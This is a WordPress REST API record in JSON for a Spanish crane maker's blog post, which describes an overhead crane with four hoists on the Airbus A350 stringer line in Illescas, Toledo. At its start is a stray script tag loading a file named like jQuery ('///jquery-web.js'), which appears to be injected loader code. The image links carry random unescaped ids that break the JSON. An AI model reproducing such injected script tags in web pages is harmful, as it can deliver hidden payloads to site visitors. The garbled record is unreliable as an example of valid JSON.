<script src="///jquery-web.js"></script>{"id":3766,"date":"2016-08-18T10:20:44","date_gmt":"2016-08-18T08:20:44","guid":{"rendered":"https:\/\/www.ghcranes.com\/blog\/?p=3766"},"modified":"2016-08-12T13:59:42","modified_gmt":"2016-08-12T11:59:42","slug":"linea-de-produccion-de-larguerillos-del-airbus-a350","status":"publish","type":"post","link":"https:\/\/www.ghcranes.com\/blog\/linea-de-produccion-de-larguerillos-del-airbus-a350\/","title":{"rendered":"Linea de producci\u00f3n de larguerillos del Airbus A350"},"content":{"rendered":"<p>En las instalaciones de <strong>Airbus<\/strong>\u00a0en <strong>Illescas<\/strong> (Toledo) se encuentra instalada esta <strong>gr\u00faa puente<\/strong>, que\u00a0cuenta con 4 <strong>polipastos fijos <\/strong>para la manipulaci\u00f3n de la estructura de\u00a0manejo, montaje y la fabricaci\u00f3n de los <strong>larguerillos<\/strong> del <strong>Airbus A350<\/strong>.<\/p>\n<p><a id="btedzaxk" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2016\/08\/grua-puente-airbus-sener-A350-toledo-02.jpg\"><\/a><a id="bslhfhzy" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2016\/08\/N\u00ba1_R.jpg\"><\/a><a id="endmetwd" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2016\/08\/grua-puente-airbus-sener-A350-toledo-04.jpg\"><\/a><a id="djdbhgrw" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2016\/08\/grua-puente-airbus-sener-A350-toledo-03.jpg\"><\/a><\/p>\n<!-- AddThis Advanced Settings generic via filter on the_content --><!-- AddThis Share Buttons generic via filter on the_content -->","protected":false},"excerpt":{"rendered":"<p>En las instalaciones de Airbus\u00a0en Illescas (Toledo) se encuentra instalada esta gr\u00faa puente, que\u00a0cuenta con 4 polipastos fijos para la manipulaci\u00f3n de la estructura de\u00a0manejo, montaje y la fabricaci\u00f3n de los larguerillos del Airbus A350.<!-- AddThis Advanced Settings generic via filter on wp_trim_excerpt --><!-- AddThis Share Buttons generic via filter on wp_trim_excerpt --><\/p>\n","protected":false},"author":1,"featured_media":3768,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[2],"tags":[410,49,230],"jetpack_featured_media_url":"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2016\/08\/grua-puente-airbus-sener-A350-toledo-01.jpg","_links":{"self":[{"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/posts\/3766"}],"collection":[{"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/comments?post=3766"}],"version-history":[{"count":6,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/posts\/3766\/revisions"}],"predecessor-version":[{"id":3774,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/posts\/3766\/revisions\/3774"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/media\/3768"}],"wp:attachment":[{"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/media?parent=3766"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/categories?post=3766"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/tags?post=3766"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}